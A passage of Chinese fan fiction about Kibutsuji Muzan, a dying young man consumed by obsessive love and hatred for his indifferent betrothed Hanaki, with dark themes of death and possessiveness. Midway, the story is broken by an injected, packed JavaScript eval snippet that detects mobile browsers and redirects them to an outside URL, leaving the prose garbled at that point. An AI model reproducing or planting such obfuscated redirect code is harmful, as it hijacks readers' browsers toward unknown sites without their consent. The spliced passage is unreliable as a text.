病殃殃的未婚夫还是像木头人一样一动不动,骤缩的瞳孔如同受到惊吓的猫,紧紧缩成一条竖线,虹膜的颜色仿佛要渗出血来,诡异得如同被血染湿的红梅。 真是不经逗。 花纪忽然失去了兴趣。 他的心情总是容易来得快去得也快,一旦注意力被转移,无懈可击的脸庞就会忠实地反映主人的真实想法。 花纪没有管鬼舞辻无惨骤然沉下的脸,那张脸像是定格在最幸福瞬间的壁画被人用毫不留情的凌厉攻击击得粉碎,花纪却用轻飘飘的口吻对未婚夫说道。 “要好好休息呢,无惨,明天我会来看你。” 为什么不留下陪我? 鬼舞辻无惨本就病体羸弱,现在加之刚从生死边缘挣扎回来,情绪稍一激动便剧烈咳嗽。 花纪余光瞥见未婚夫此时的脸,带着几分真情赞美道:“无惨,你现在的脸很好看哦。” 啊,没错,就是这种即将破碎的模样,如同开得艳丽的红梅落到地上被碾碎的不成样子,美丽的事物就此消散,什么也不剩下——实在太符合他的喜好了。 花纪总算认真记住了未婚夫的脸——虽然之后他大概率会忘记。毕竟谁会记得自己吃过多少碗饭呢?没有意义的事只会浪费储存容量。 未婚夫贪婪,自私,愚蠢,胆小……但是没关系,花纪觉得这样的未婚夫在病魔面前恐惧的瑟瑟发抖的模样实在完美戳中他的喜好。因此在鬼舞辻无惨死去之前,花纪不介意陪对方玩一下过家家游戏。 鬼舞辻无惨眼睁睁看着容貌绝艳的未婚妻头也不回地转身就走,就算他想伸手,却依旧抓不住这随风翩翩起舞的花瓣。 明明这是他的未婚妻,他却只能空虚地占有未婚夫的身份,如同等待临幸的后宅妇人,等着未婚妻姗姗来迟的抚摸。 那柔弱无骨的玉指每一次触碰他,似乎都能通过他那层薄薄的皮肉直接接触到他的灵魂,让他战栗不已的身体对此俯首称臣,好似他的未婚妻才是他身体的主人。 鬼舞辻无惨反刍着花纪离开时的话。 〖无惨,你现在的脸很好看哦。〗 那张像是死人的脸吗? 鬼舞辻无惨痛恨那些对他身体指指点点的人,但不代表他不清楚自己在他人眼中究竟是什么模样。 一个脸色苍白如纸、随时都会死的病秧子。 每次在他因为病痛而落魄不已时,花纪那双美如水晶的紫眸才会正眼看他,真正瞧见他的模样。 花纪只能看到他的痛苦,眼中从未真正映出他的身影。 ……明明他是花纪的未婚夫,可到头来却只能拿着这个名头聊以慰藉。 花纪的名字会让人联想到绚丽盛开的鲜花,但鬼舞辻无惨觉得自己才是那朵空有外表的花朵,而花纪是拥有美丽翅膀的蝴蝶,而他自己只能在原地徒劳等待这只蝴蝶的垂怜。 ……他绝不允许这种境况延续下去。 如果他真的要死了,他也要拖着这破败不堪的身体与花纪成婚。 他要占有花纪,从肉|体到灵魂、完完全全拥有花纪。 哪怕他死了,他也要是花纪唯一的丈夫。 * 未婚夫又一次生了重病。 他的身体其实从未好过,不过是重病和濒死两种状态的区别而已。 有时候就连鬼舞辻无惨的父母都做好他要死去的心理准备,偏偏他就是能挺过那一口气,抓住阳间的太阳,不肯去往充满死亡气息的地府。 这种时候,花纪稍稍能对这个未婚夫产生与过往对那些恋人完全不同的感情。 虽然未婚夫弱的要死——这是各种意义上的实话,并不值得花纪付出爱意,但他总会多两分耐心。毕竟在过去,他只会选择最强的人。 “真辛苦呢,无惨。” 鬼舞辻无惨不喜欢花纪这种看似怜悯却缺乏厚度的语气,花纪的态度在真心怜悯和敷衍他之间徘徊,让他无法分辨花纪的真实情绪。 鬼舞辻无惨的声音不冷不淡,“既然知道我辛苦,那你就应该多来照顾我。” 无惨是在示弱吗? 花纪用新奇的目光看着这个随时都会早登极乐的未婚夫,明明对方试图竖起保护自己的坚硬外壳,却总会反悔似的从里面一脚踢碎外壳,然后反复这个过程,做着让人无法理解的无用功。 就算无惨这么说,但如果他忍不住,说不定就会失手送无惨一个永恒的无法醒来的美梦。 至少梦里不会有痛苦,更不会有疾病, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731059|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会有安详的死亡。 想到这里,花纪的语气多了几分真诚,真心劝道:“无惨,以你的身体而言,或许死了就不会那么痛苦了。” 莫名的,花纪的声音充满了朦胧的蛊惑力,如果不是鬼舞辻无惨厌恶极了死亡,或许会在恍惚之间点头称是,只为了顺应这道声音说出的内容。 鬼舞辻无惨不说话,花纪也不在意,他向来喜欢顺应自己的心意,才不管其他人怎么想。 “而且病死总比被烧死要好吧?不会有那么痛的。” 火焰灼烧皮肤、穿透皮肉深至骨髓,将接触的一切都融化烤焦,肉|体仿佛变成填充火焰的肉块,无力地望着火焰膨胀的感觉——真的、真的非常讨厌。 黑发紫眸的美人在微笑,一如既往的妖丽而貌美。但此时此刻,这份美丽仿佛膨胀到无与伦比的地步,这处狭小的空间,只能勉强容纳这犹如实质的恐怖魅惑。 鬼舞辻无惨怔愣的看着,也唯有这么做,除了这么做以外,他想不起任何其他的事情。 那仿佛要破坏一切的究极之美,正在愤怒地燃烧着。 那些能刺痛鬼舞辻无惨的言语,如今他通通不在乎,只是痴痴地露出自厌的丑态。 鬼舞辻无惨忽然明白了。 原来他想融化在这疯狂的爱火里,用他的爱、他的一切去浇灌美丽的心爱之人。 他的未婚妻是个试图疯狂破坏一切的美丽怪物。 而他爱上了这头怪物。 人类要如何留住怪物呢? 如果他也能变成怪物就好了,这样他就有超越人类的力量,去抓住这道美丽的身影,永远的留住心爱之人。 最重要的一点——那就是他的未婚妻其实讨厌人类。 所以他也要变成怪物。 可他现在什么也做不到。 鬼舞辻无惨在花纪准备起身离开之前,不甘心地用出最后的杀手锏,用看似平静却藏着一丝颤抖的声线说道。 “我们成婚吧,花纪。” 鬼舞辻无惨心心念念的身影终于停下离开的动作,又坐回他的床边,困惑而认真的开口,“无惨,你是认真的吗?” ……花纪的眼睛,依旧没有在认真看他。 或许是因为他不够痛苦。 鬼舞辻无惨绝望地意识到了这个事实。 而他那颗不成人样的心,在痛苦的浇灌下扭曲变形,变得愈加狰狞可怖,只要呼吸都会感受到刺骨的疼痛。然而,当他发现花纪终于愿意因此用稍微认真的视线扫视他时,又感到了诡异的心安。 没错,花纪现在在看他。 哪怕这是因为他的痛苦,怨恨,嫉妒,不甘……可花纪在看他。 而他变成了会因为这种事而由衷高兴的扭曲模样。 想到这里,鬼舞辻无惨又有些怨恨花纪。 因为花纪并不爱他,而这是他痛苦的根源。 与之相比,那些疾病缠身带来的折磨都不算什么。 花纪会怎么回答他?会拒绝吗? 鬼舞辻无惨的心脏又因此忽上忽下,跳动的幅度好像要冲破单薄的胸膛,恨不得直接跃到花纪的面前,向未婚妻展示这颗血淋淋却又鲜活的心脏。 “你这样说,我会很困扰。” 花纪同时露出了困扰的表情,紧紧捏着鬼舞辻无惨的心脏,鬼舞辻无惨感觉自己的心都要捏碎了。 “让我考虑考虑,无惨。” 鬼舞辻无惨已经算不清花纪到底考虑了多长时间,他只觉得这段时间长到足够将他凌迟处死,将贴在骨骼上的血肉一片片割下,露出早就支离破碎的内里。 如果花纪能够看到里面究竟是什么样子,就会发现他用血肉和灵魂养出的仇恨的种子究竟能茁壮成长到什么地步。 他好恨。 花纪为什么还不回答他?为什么不同意?为什么不肯爱他? 为什么为什么为什么……这些字,似乎扭曲变形成了无数的“恨”字。 鬼舞辻无惨确信,他在这个世界上最恨的人就是花纪。 而爱与恨的感觉从来就不冲突。 如果花纪要用言语来处死他,那么他就要拉着花纪一起下地狱。 他绝不容忍自己孤身一人眼睁睁看着花纪同其他人在一起。